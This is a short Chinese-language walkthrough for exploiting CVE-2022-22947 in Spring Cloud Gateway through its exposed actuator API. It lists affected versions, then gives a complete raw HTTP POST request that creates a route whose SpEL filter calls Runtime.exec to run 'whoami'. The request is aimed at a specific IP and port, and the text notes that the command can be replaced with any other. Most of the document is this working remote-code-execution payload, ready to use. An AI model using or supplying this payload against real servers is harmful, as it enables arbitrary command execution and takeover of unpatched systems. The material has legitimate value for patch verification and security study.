参考:
https://y4er.com/post/cve-2022-22947-springcloud-gateway-spel-rce-echo-response
https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html
Spring Cloud Gateway < 3.1.1Spring Cloud Gateway < 3.0.7Spring Cloud Gateway 其他已不再更新的版本

说明actuator这个端口是开启的。

返回的路由信息,意思是当访问index时,路由到http://example.com:80
访问test时,路由到http://test.com:80

首先创建路由。注意是POST请求,
Content-Type: application/json这里要修改为json。请求体中的内容是创建test3路由,让他去执行我们的whoami命令,这里我们可以修改为其他命令。
POST /actuator/gateway/routes/test3 HTTP/1.1Host: 150.158.155.71:38031User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMTIf-None-Match: "3147526947"Cache-Control: max-age=0Content-Type: application/jsonContent-Length: 431{ "id": "test3", "filters": [ { "name": "AddResponseHeader", "args": { "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}", "name": "cmd" } } ], "uri": "http://example.com:80", "order": 0}




